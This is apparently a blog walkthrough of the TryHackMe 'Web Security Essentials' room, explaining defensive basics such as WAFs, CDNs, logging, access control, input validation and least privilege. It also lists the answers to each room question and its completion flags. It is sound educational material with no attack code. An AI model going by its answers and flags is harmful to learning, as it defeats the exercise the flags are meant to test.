src="https://cdn-images-1.medium.com/max/1024/1*Tx6UTKHxQRhsULtsWKQMyQ.png" /><figcaption><a href="https://tryhackme.com/room/websecurityessentials">https://tryhackme.com/room/websecurityessentials</a></figcaption></figure><h3><strong>Introduction</strong></h3><p>The internet is behind many aspects of modern life, from banking and shopping to social media and beyond. As a result, websites and web applications are among attackers’ most targeted assets. Whether you’re defending a company’s website or investigating an incident, understanding how the web works and how to secure it is crucial.</p><h4>Learning Objectives</h4><ul><li>Understand the shift from desktop applications to web applications</li><li>Learn why web applications are common targets for attackers</li><li>Explore web infrastructure and the tools we use to protect the web</li><li>Practice applying security measures to harden a new web application</li></ul><h4>Prerequisites</h4><ul><li><a href="https://tryhackme.com/room/webapplicationbasics">Web Application Basics </a>provides an excellent overview of the essentials of web applications</li><li>Complete <a href="https://tryhackme.com/room/httpindetail">HTTP In Detail</a> to brush up on web requests, response codes, and all things HTTP</li></ul><h4>Answer the questions below:</h4><p><strong>Q1: I understand the learning objectives and am ready to learn about web security!</strong></p><p>No answer needed</p><h3>Task 2: Why Web?</h3><p>The shift from desktop to web-based applications has been ongoing for decades. In the 1990s, desktop applications were the norm because of speed and connectivity limitations. As web technology advanced, the 2000s gave way to much more widely used dynamic web applications for email, social media, and banking. In the 2010s, there was a <a href="https://www.techrepublic.com/article/the-most-important-cloud-advances-of-the-decade/">massive rise</a> in cloud computing and software as a service (SaaS), and today, nearly everything can be done in a browser.</p><h4>From a Security Perspective</h4><p>The shift to web apps brings some amazing advantages, including increased accessibility, faster updates, better compatibility, and reduced resource usage on the user’s end. Think of it, you can browse online marketplaces and social networks, play games, edit images and video, and even run virtual machines all through your browser. However, these benefits come with tradeoffs in terms of security. The more powerful and widespread the web becomes, the more opportunities it introduces for attackers.</p><p>Web applications are among the most common entry points for attackers because they are always available and exposed. They often connect to back-end systems like databases and other infrastructure, offering attackers high-impact opportunities. A vulnerable web application is often the first stage in a larger attack sequence. Let’s take a look at the risks faced by both web app owners and their users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RCuirsd468ERXZOPqSAiYg.png" /></figure><h4>Real-World Examples</h4><p>In 2017, <a href="https://archive.epic.org/privacy/data-breach/equifax/">Equifax’s</a> sensitive customer data of nearly 150 million Americans was compromised due to an Apache <a href="https://www.cve.org/CVERecord?id=CVE-2017-5638">vulnerability</a>. By abusing this vulnerability, the attackers were able to access internal databases storing valuable customer data.</p><p><a href="https://www.capitalone.com/digital/facts2019/">Capital One</a> faced a similar-scale breach in 2019, in which a misconfigured web application firewall (WAF) exposed over 100 million customers’ sensitive personal and financial information. This misconfiguration allowed internal access to the company’s cloud infrastructure and databases.</p><h4>Answer the questions below:</h4><p><strong>Q1: Have applications shifted from desktop to web over the past couple of decades (Yea/Nay)?</strong></p><p>Yea</p><p><strong>Q2: Who is ultimately responsible for ensuring the security of users’ data within a web application?</strong></p><p>Web App Owner</p><h3>Task 3: Web Infrastructure</h3><p>When you visit a website, your browser sends a request to a web server. The server processes the request, verifies access, and returns a response to the user. This response can be a webpage, an image, or data like search results or your account information. This request-response cycle is the foundation of how the web functions. Attackers can abuse this request-response cycle by overwhelming servers with requests, bypassing access controls, or even tricking the server into executing harmful commands.</p><h4>Components of a Web Service</h4><p>For example, any web service, like <a href="https://tryhackme.com/">tryhackme.com</a>, requires three main components to function.</p><ul><li><strong>Application</strong>: The code, images, styles, and icons that dictate how the website looks and functions.</li><li><strong>Web Server</strong>: This component hosts the application. It listens for requests and returns a response to the user.</li><li><strong>Host Machine</strong>: The underlying operating system, Linux or Windows, that runs the web server and the application.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DCrRlMkj2wPfcbi_Sk3qbw.png" /></figure><p>In the next task, we will investigate the security measures available to protect these three components.</p><h4>Web Servers</h4><p>When you visit a website, your web browser sends a request to a web server, as discussed above. Web servers listen for incoming requests and return an appropriate response. Web servers are positioned in front of websites and applications, making them a crucial aspect of the internet&#39;s foundation. Because they are publicly exposed and handle all incoming web requests, web servers are a common target for attackers.</p><p>Here are some of the most common web servers that you will encounter.</p><ul><li><a href="https://httpd.apache.org/"><strong>Apache</strong></a>: The most popular web server to host simple websites and blogs, most commonly <a href="https://wordpress.com/">WordPress</a>.</li><li><a href="https://nginx.org/"><strong>Nginx</strong></a>: An industry standard for high-performance web apps. Used by companies like <a href="https://openconnect.netflix.com/en/appliances/#software">Netflix</a>, Airbnb, and GitHub.</li><li><a href="https://www.iis.net/"><strong>Internet Information Services</strong></a><strong> (IIS)</strong>: A Microsoft-developed web server commonly used in enterprise environments.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*1DNnw5HLdW1qmtDJEdydeQ.png" /></figure><h4>Answer the questions below:</h4><p><strong>Q1: What does your web browser send to a server to receive a web page?</strong></p><p>Request</p><p><strong>Q2: What web server is most commonly used to host WordPress websites?</strong></p><p>Apache</p><p><strong>Q3: What do we call the OS and environment that runs the web server and application?</strong></p><p>Host Machine</p><h3>Task 4: Protecting the Web</h3><h4>Best Practices</h4><p>Various security measures are available when securing websites and web applications. Some solutions provide visibility, while others can actively stop or limit an attack, commonly known as mitigation. Referencing Task 3, where we discussed the three essential components of any web service: the <strong>application</strong>, the <strong>web server</strong>, and the <strong>host machine</strong>, let’s now examine the protections available for each of these components.</p><p><strong>Protecting the Application</strong></p><ul><li>Secure Coding: Avoid insecure functions, ensure proper handling of errors, and remove sensitive information.</li><li>Input Validation &amp; Sanitization: Validate and sanitize user input to prevent injection attacks.</li><li>Access Control: Restrict access based on user roles.</li></ul><p><strong>Protecting the Web Server</strong></p><ul><li>Logging: Keep a detailed record of all web requests with access logs.</li><li>Web Application Firewall (WAF): Filter and block harmful traffic based on defined rules.</li><li>Content Delivery Network (CDN): Reduce direct exposure to your server and use integrated WAFs.</li></ul><p><strong>Protecting the Host Machine</strong></p><ul><li>Least Privilege: Use low-privilege users for services.</li><li>System Hardening: Disable unnecessary services and close unused ports.</li><li>Antivirus: Add endpoint-level protection that blocks known malware.</li></ul><p><strong>Security Tips for All Three Components</strong></p><ul><li>Strong Authentication: Don’t just let anyone access your code, admin panels, or host machine.</li><li>Patch Management: Ensure your app dependencies, web server, and host machine are up to date.</li></ul><h4>Logging</h4><p>Web servers can create logs for every request they receive. We call these access logs, and they are incredibly valuable from a security perspective because they track information about every interaction with the server, including the client’s IP address, timestamp, requested page or data, response status from the server, and user agent. These fields can play an important role in investigations, helping analysts detect potential malicious activity and trace attacker behavior.</p><p>Let’s take a look at a benign series of events that we might find in an access log to get a feel for the type of data we can observe.<br>Note that GET requests are used to retrieve a resource from the server, like a specific web page.<br>POST requests are used to submit data to the server, such as login credentials.</p><ol><li>The user, from the client IP 10.10.10.100, visits the website&#39;s homepage at /index.html.</li><li>Next, they navigate to the login page at /login.html.</li><li>They then enter their credentials and submit the form, signified by the POST request.</li><li>Finally, they access their account page at /myaccount.html.</li></ol><p>Although this series of events is expected and not out of the ordinary, you can see how the verbosity of these logs can help analysts and incident responders reconstruct a possible attack sequence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HYMH6jBljr0KWfoLQDBz5g.png" /></figure><h4>Answer the questions below:</h4><p><strong>Q1: What cyber security concept involves stopping or limiting damage from threats?</strong></p><p>Mitigation</p><p><strong>Q2: What security control involves ensuring all software and components are up to date?</strong></p><p>Patch Management</p><h3>Task 5: Defense Systems</h3><h4>Content Delivery Network (CDN)</h4><p><strong>CDNs</strong> store and serve cached content from servers closer to the user to reduce latency. Imagine you have a main server housed in a central location. This main server provides information to edge servers worldwide so your customers can access data more quickly and safely. Aside from speed, CDNs also help in a security sense by acting as a buffer between the user and the origin server.</p><p><strong>Security Benefits</strong></p><ul><li>IP Masking: Hides the origin server IP address, which makes it harder for attackers to target.</li><li>DDoS Protection: CDNs can absorb a large amount of traffic, making denial-of-service attacks less effective.</li><li>Enforced HTTPS: Encrypted communication via TLS is enforced by default by most CDNs.</li><li>Integrated WAF: Many CDNs, including <a href="https://www.cloudflare.com/">Cloudflare CDN</a>, <a href="https://aws.amazon.com/cloudfront/">Amazon CloudFront</a> &amp; <a href="https://learn.microsoft.com/en-us/azure/frontdoor/front-door-overview">Azure Front Door</a>, integrate web application firewalls.</li></ul><p>In essence, CDNs allow web apps to deliver data to customers more efficiently and securely.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D73HVlxquFNRvBC6r91xXg.png" /></figure><h4>Web Application Firewall (WAF)</h4><p><strong>WAFs</strong> are a powerful tool that can be integrated as another layer of protection for websites and web applications. They inspect incoming HTTP traffic and block or log potentially harmful requests based on security rules. Think of the analogy of a bouncer at a bar or club. Every person (web request) that wants to enter must be checked by the bouncer (firewall). Anyone (any request) that doesn’t meet the standard requirement will be rejected.</p><p>Let’s take a closer look at the types of WAFs available to us as defenders, then dive deeper into their functionality.</p><ul><li>Cloud-based (Reverse Proxy): Sits in front of the web server. These WAFs are easy to deploy and have great scalability.</li><li>Host-based: Software deployed directly on the web server and offers control for each application.</li><li>Network-based: A physical or virtual appliance situated on the network perimeter. More suited for enterprise environments.</li></ul><p><strong>Functionality</strong></p><p>As stated above, WAFs inspect HTTP requests to detect anomalies, attacks, or known suspicious patterns. Below are some of the methods used, along with examples of requests that may be blocked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3RYoLwj6qx4qISWpY0ATsw.png" /></figure><p>The above table is not exhaustive, as detection methods are constantly evolving, and custom rules can be created based on the specific needs of the web application owner.</p><p>Below is a screenshot of the Cloudflare dashboard for tryhackme.thm, focused on the security panel. In it, we can see all requests for the last 24 hours, including requests blocked by the integrated web application firewall.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hHqvFWCzJylO_Q9mQluruw.png" /></figure><h4>Antivirus (AV)</h4><p><strong>AVs</strong> are often misunderstood as a blanket protection measure, but they are primarily made to safeguard endpoints, such as desktops, laptops, and servers, from known malicious files and programs. Most AVs rely on signature-based detection, which means they compare files with a database of known malware or patterns.</p><p>While web attacks usually target the application layer, not the host machine, AVs still play an important role in host protection, as discussed in Task 3. They can help detect malicious file uploads, such as web shells, post-exploitation tools, and other malicious software. AVs are just one layer in a broader defense-in-depth strategy and should be combined with other security measures to provide stronger protection.</p><h4><strong>Answer the questions below:</strong></h4><p><strong>Q1: Which type of Web Application Firewall operates by running on the same system as the application itself?</strong></p><p>Host-Based</p><p><strong>Q2: Which common WAF detection technique works by matching incoming requests against known malicious patterns?</strong></p><p>Signature-Based</p><h3>Task 6: Practice Scenario</h3><p>Let’s take a more hands-on look at the security measures you’ve learned about in this room by applying them to a real-world scenario. Your site, <strong>Secure-A-Site</strong>, is currently being developed and will be deployed soon. Your goal is to help prepare the web application, web server, and host machine for launch by ensuring they are as secure as possible.</p><p>You’ll work through the three layers and apply the best practices that you learned about in the previous tasks:</p><ul><li>Web Application</li><li>Web Server</li><li>Host Machine</li></ul><h4>Practice</h4><p><a href="https://static-labs.tryhackme.cloud/apps/web-security-essentials">View Site</a></p><p>Open <strong>Secure-A-Site</strong> by clicking the <strong>View Site</strong> button above. Once you complete each section, claim the flags and answer the task questions!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o5rK2ECGYvFpqkGS4Rrxvg.png" /></figure><h4>Answer the questions below:</h4><h3>Web App Security 1/3: Why Access Control Matters</h3><p>Imagine logging into your company’s website as a regular employee, just to check your tasks for the day. Out of curiosity, you type in “/admin” at the end of the URL suddenly, you’re looking at the <strong>admin dashboard</strong>. Sensitive information, settings, maybe even user data all exposed in front of you.</p><p>This isn’t a clever hack. It’s a <strong>failure of access control</strong>.</p><h4>The Question</h4><blockquote><strong>An employee can see the admin dashboard. What security measure helps stop this?</strong></blockquote><p>The correct answer is:<br> <strong>Access Control: Restrict users so they only see appropriate data.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*-9JSHUPVk7IFkwtkCs81hA.png" /></figure><h4>What Is Access Control?</h4><p>Access control is a security measure that decides <strong>who can see what</strong> in a system. It ensures each user has the right level of access no more, no less. This is often implemented using <strong>Role-Based Access Control (RBAC)</strong>, where each role (employee, manager, admin) comes with specific permissions.</p><h4>Why Not System Hardening?</h4><p>System hardening is about closing unused ports, disabling unnecessary services, and reducing attack surfaces on servers. While it’s important, it <strong>doesn’t prevent a logged-in user from seeing things they shouldn’t</strong>. Access control does.</p><h4>Why Is This Critical?</h4><ul><li>Protects sensitive business data</li><li>Prevents accidental or intentional misuse by employees</li><li>Stops attackers who gain low-level accounts from escalating privileges</li></ul><p>Think of it like giving each employee a <strong>personalized keycard</strong>: it opens the doors they need, not every door in the building.</p><h3>Web App Security 2/3: Stop Leaking Detailed Errors</h3><p>Picture this: your web app crashes, and instead of a friendly “Something went wrong” message, it spits out a <strong>wall of technical details </strong>file paths, database names, maybe even snippets of code. For regular users, it’s confusing. For attackers, it’s <strong>a roadmap to your vulnerabilities</strong>.</p><h4>The Question</h4><blockquote><strong>Your app leaks detailed errors when it crashes. What should developers do early in development to secure it?</strong></blockquote><p>The correct answer is:<br> <strong>Secure Coding: Review the app for vulnerabilities in code.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*Nh4_NukS3HGcq-gupdV4PQ.png" /></figure><h4>What Is Secure Coding?</h4><p>Secure coding means building your application from the ground up with <strong>security in mind</strong>. It’s not just about making the app work it’s about making sure it <strong>fails safely</strong>. This includes:</p><ul><li>Hiding detailed error messages in production</li><li>Validating all user inputs</li><li>Avoiding unsafe functions</li><li>Regularly reviewing and testing your code for vulnerabilities</li></ul><h4>Why Not Just Add a Web Application Firewall (WAF)?</h4><p>A WAF is useful — it filters malicious traffic before it hits your app. But it’s a <strong>shield, not a fix</strong>. If your code leaks sensitive information, a WAF won’t rewrite those error messages. The issue starts in the code, so that’s where the fix belongs.</p><h4>Why Is This Critical?</h4><ul><li>Prevents attackers from mapping your system architecture</li><li>Protects sensitive configuration details</li><li>Reduces the risk of targeted exploits</li></ul><p>Think of it like writing a <strong>polished public report</strong> instead of sharing your <strong>raw, messy notes</strong> with the world.</p><h3>Web App Security 3/3: Stop Code Injection at the Gate</h3><p>Picture this: a user types something malicious into your login form not a password, not a username, but a piece of code designed to break into your system. If your app blindly trusts that input, it could run the attacker’s commands, giving them access to your database, files, or even the entire server.</p><h4>The Question</h4><blockquote><strong>Attackers can inject code into your login form. How do you block it?</strong></blockquote><p>The correct answer is:<br> <strong>Input Validation &amp; Sanitization: Clean and check any user-submitted data before using it.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*J76feSGlzh1geuFqOz9Rug.png" /></figure><h4>What Is Input Validation &amp; Sanitization?</h4><p>This is the process of ensuring all incoming data is <strong>expected, safe, and clean</strong> before it’s processed.</p><ul><li><strong>Validation</strong> checks the data’s format and content. For example:</li><li>A username should only contain letters and numbers.</li><li>A phone number should match a specific pattern.</li><li><strong>Sanitization</strong> removes or escapes harmful elements, like &lt;script&gt; tags, SQL commands, or other injection payloads, to make them harmless.</li></ul><p>Together, they act like a security checkpoint: only safe data gets through.</p><h4>Why Not Just Integrate Access Logging?</h4><p>Logging is valuable for investigating suspicious behavior after it happens. It helps you answer <em>who did what, and when?</em><br> But logging doesn’t stop malicious code from running it’s reactive, not preventive. <strong>Input validation &amp; sanitization actively blocks the attack before it causes damage.</strong></p><h4>Why Is This Critical?</h4><ul><li>Prevents SQL injection, XSS, and other common attack vectors</li><li>Protects sensitive user data and system integrity</li><li>Builds trust by ensuring forms and fields are safe to use</li></ul><p>Think of it like airport security: logging tells you who passed through, but validation and sanitization check their bags before they even board the plane.</p><p><strong>Q1: What flag did you receive for securing the Web Application?</strong></p><p>THM{web_app_secured!}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*CtUCSIOJrr8mi7thTBhG1g.png" /></figure><h3>Web Server Security 1/3: Speed and Shield Your Server</h3><p>Imagine your server is getting constant requests from all over the world some from real users, some from attackers probing for weaknesses. You want your website to load fast for everyone, but you also want to keep your main server hidden and protected.</p><h4>The Question</h4><blockquote><strong>How can you reduce your server’s exposure while also speeding up content delivery?</strong></blockquote><p>The correct answer is:<br> <strong>Content Delivery Network (CDN): Serve cached content from edge servers to cut latency and improve security.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*h8KOeQDhaW4XBV6iYET0Ww.png" /></figure><h4>What Is a Content Delivery Network?</h4><p>A CDN is a network of distributed servers strategically placed around the globe. Instead of every user requesting data directly from your main server, they access a <strong>nearby edge server</strong>, which delivers cached content like images, scripts, and static files.</p><h4>Why Not Just Rely on Encryption?</h4><p>Encryption is essential for protecting sensitive data in transit (like passwords or payment details), but it does not make your site faster or reduce the exposure of your main server’s IP. A CDN, on the other hand, <strong>acts like a protective middle layer</strong>, handling most of the traffic before it even reaches your origin server.</p><h4>Why Is This Critical?</h4><ul><li>Improves page load times for global users</li><li>Masks your origin IP to reduce the risk of direct attacks</li><li>Adds resilience against DDoS (Distributed Denial of Service) attacks</li></ul><p>Think of it like having multiple post offices deliver your mail locally instead of everyone showing up at your front door it’s faster, safer, and more scalable.</p><h3>Web Server Security 2/3: Blocking Malicious Traffic Before It Hits</h3><p>Picture your web server as the entrance to a busy office building. You want visitors to come in, but you don’t want anyone carrying suspicious packages or trying to sneak in through the back door. How do you stop them before they even step inside?</p><h4>The Question</h4><blockquote><strong>Which security measure helps ensure malicious requests never reach your server?</strong></blockquote><p>The correct answer is:<br> <strong>Web Application Firewall (WAF): Set up a protective barrier between your users and web server.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*0FYqrIfyzg9U7Jo4GrMp1w.png" /></figure><h4>What Is a Web Application Firewall?</h4><p>A WAF is like a <strong>security guard at your digital front door</strong>. It monitors incoming traffic, analyzes it in real time, and filters out requests that match known malicious patterns such as SQL injection, cross-site scripting (XSS), or brute-force attacks.</p><h4>Why Not Just Rely on System Hardening?</h4><p>System hardening is important it strengthens your server by disabling unnecessary services, closing ports, and tightening configurations. But it does not actively inspect each incoming request. A WAF does.</p><h4>Why Is This Critical?</h4><ul><li>Blocks common attack patterns automatically</li><li>Protects your web server from being directly exposed to harmful traffic</li><li>Provides an additional layer of defense alongside encryption and access controls</li></ul><p>Think of a WAF as a smart gatekeeper that <strong>checks every package and ID before letting anyone in</strong>, ensuring only legitimate requests get through.</p><h3>Web Server Security 3/3: Tracking the Clues Attackers Leave Behind</h3><p>Imagine coming to work one day to find that something odd happened overnight unfamiliar files, strange login attempts, or slow performance. How do you figure out what went wrong? Without a trail of evidence, you’re left guessing. That’s where logging comes in.</p><h4>The Question</h4><blockquote><strong>When configuring your web server, what should you enable so unusual traffic patterns can be investigated later?</strong></blockquote><p>The correct answer is:<br> <strong>Access Logging: Maintain an access log to spot anomalies and support incident response.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*mDLJPZBbG-ToM0xCL12B0g.png" /></figure><h4>What Is Access Logging?</h4><p>Access logging is like keeping a <strong>detailed diary of every visitor and action</strong> on your web server. It records who accessed the site, when, from where, and what they tried to do. These logs become invaluable when something suspicious occurs.</p><h4>Why Not Just Use Antivirus?</h4><p>Antivirus protects against known malware, but it doesn’t record patterns or track what happened over time. If an attacker probes your server without deploying malware, antivirus alone won’t give you the trail you need to investigate.</p><h4>Why Is This Critical?</h4><ul><li>Helps detect unusual patterns, such as repeated login attempts from the same IP</li><li>Assists in incident response and forensic investigations</li><li>Provides compliance with many cybersecurity standards that require logging</li></ul><p>Think of access logs as your <strong>security camera footage for the web</strong>, capturing everything so you can rewind, analyze, and respond when something looks off.</p><p><strong>Q2: </strong>What flag did you receive for securing the Web Server?</p><p>THM{server_security_expert!}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*8rMOwffCbtfeNWSw8hMzSA.png" /></figure><h3>Host Machine Security 1/3: Closing Doors Attackers Might Sneak Through</h3><p>Think of your host machine as a building with dozens of doors and windows. Each open port or outdated service is like an unlocked door, waiting for someone curious or malicious to try their luck. The fewer unnecessary openings, the safer the building.</p><h4>The Question</h4><blockquote><strong>Unused ports are open and outdated services are still running. How do you reduce the risk?</strong></blockquote><p>The correct answer is:<br> <strong>System Hardening: Ensure only what you need is running and open.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*fiee-HnOqLqDM2RP2kgm4A.png" /></figure><h4>What Is System Hardening?</h4><p>System hardening is the process of <strong>reducing the attack surface</strong> by disabling or removing everything that is not essential. This includes:</p><ul><li>Closing unused network ports</li><li>Removing or disabling outdated services</li><li>Disabling unnecessary startup programs</li><li>Applying strict firewall rules</li></ul><h4>Why Not Just Focus on Secure Coding?</h4><p>Secure coding protects the application itself, but if your host machine is running unnecessary services, attackers might exploit those instead. Hardening ensures there are fewer targets to begin with.</p><h4>Why Is This Critical?</h4><ul><li>Minimizes entry points for attackers</li><li>Improves overall system performance by eliminating unused processes</li><li>Forms the foundation of a secure environment before adding more complex defenses</li></ul><p>Think of system hardening as <strong>locking unused doors and windows</strong>, leaving only the essential ones open for business.</p><h3>Host Machine Security 2/3: Guarding Against Malicious Software</h3><p>Your host machine is like the foundation of a house if it gets infected, everything running on top of it is at risk. Attackers often target the host with malware, hoping to gain control or install backdoors. The best first line of defense here? Strong endpoint protection.</p><h4>The Question</h4><blockquote><strong>How can you protect your endpoint from harmful or unauthorized software?</strong></blockquote><p>The correct answer is:<br> <strong>Antivirus: Detects and blocks known malware.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*grTRe_yEfrYiSecGssSTfg.png" /></figure><h4>What Is Antivirus Protection?</h4><p>Antivirus software continuously monitors your system for malicious files, suspicious activities, or unauthorized changes. Modern solutions often include:</p><ul><li>Real-time scanning to stop threats before they spread</li><li>Heuristic analysis to detect unknown or evolving malware</li><li>Quarantine and removal tools for safe cleanup</li></ul><h4>Why Not Just Rely on Web Server Logging?</h4><p>Logging is useful for investigating incidents, but it does not prevent malicious files from running. Antivirus stops harmful software at the door, while logging tells you what happened after the fact.</p><h4>Why Is This Critical?</h4><ul><li>Prevents malware infections before they escalate</li><li>Protects sensitive data stored on the host machine</li><li>Forms a key part of a layered defense strategy</li></ul><p>Think of antivirus as your <strong>security guard</strong>, standing watch to stop malicious software before it can do any damage.</p><h3>Host Machine Security 3/3: Limiting the Damage if Attackers Get In</h3><p>Imagine giving every employee the keys to your entire office, including the vault. If one account is compromised, everything is exposed. That’s exactly what happens when your web server runs with administrative rights it’s like giving attackers a master key the moment they get in.</p><h4>The Question</h4><blockquote><strong>Your web server runs with admin rights. What safer setup should you use?</strong></blockquote><p>The correct answer is:<br> <strong>Least Privilege: Use dedicated low-privilege accounts to run your site.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*n2bG7RMqRBntfSoSA9eSWg.png" /></figure><h4>What Is the Principle of Least Privilege?</h4><p>The <strong>Principle of Least Privilege (PoLP)</strong> means granting accounts, services, and users only the access they absolutely need no more. This includes:</p><ul><li>Running your web server using a non-administrative account</li><li>Restricting write permissions to critical directories</li><li>Separating roles for admin, developer, and service accounts</li></ul><h4>Why Not Just Focus on Backups?</h4><p>Backups are essential for recovery, but they don’t prevent attacks or limit their impact. If an attacker compromises a service with admin rights, they can often disable backups, erase evidence, or encrypt your system entirely.</p><h4>Why Is This Critical?</h4><ul><li>Minimizes the impact of a successful breach</li><li>Protects critical system files from accidental or malicious modification</li><li>Forms a cornerstone of secure server and host configuration</li></ul><p>Think of least privilege as <strong>handing out only the keys needed for the job</strong>, not the whole building.</p><p><strong>Q3: What flag did you receive for securing the Host Machine?</strong></p><p>THM{the_final_security_layer!}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*wpTmfffla55K-7UIDK7EHw.png" /></figure><h3>Task 7: Conclusion</h3><p>In this room, you explored the essentials of web security, starting with the shift from traditional desktop applications to modern web applications. You learned why web applications are targeted by attackers, often holding sensitive data and serving as entry points into larger systems. We covered how web requests and servers work. Finally, we learned about the protections used by security professionals to prevent, detect, and mitigate common threats to web applications.</p><h4>Answer the questions below:</h4><p><strong>Q1: Complete the room and continue on your cyber learning journey!</strong></p><p>No answer needed</p><blockquote>Securing the web isn’t just about protecting servers and code it’s about safeguarding people, their trust, and the digital world we all depend on. As this walkthrough showed, every layer from the web application itself to the server and the host machine plays a role in creating a stronger defense.</blockquote><blockquote>The real takeaway? Security is never “done.” It’s a continuous process of patching, hardening, testing, and learning. Whether you’re a developer trying to build safely, an aspiring ethical hacker sharpening your skills, or a business owner protecting your customers, the steps you take today can prevent the breaches of tomorrow.</blockquote><blockquote>So keep exploring, stay curious, and remember: <strong>a secure web is a shared responsibility and it starts with you.</strong></blockquote><blockquote><strong><em>Written by </em>Yousef Amr<em> (</em></strong><a href="https://www.linkedin.com/in/elbish1"><strong>LinkedIn</strong></a><strong><em>, </em></strong><a href="https://tryhackme.com/p/elbish1"><strong>TryHackMe</strong></a><strong><em>)</em></strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=66d1548c4622" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>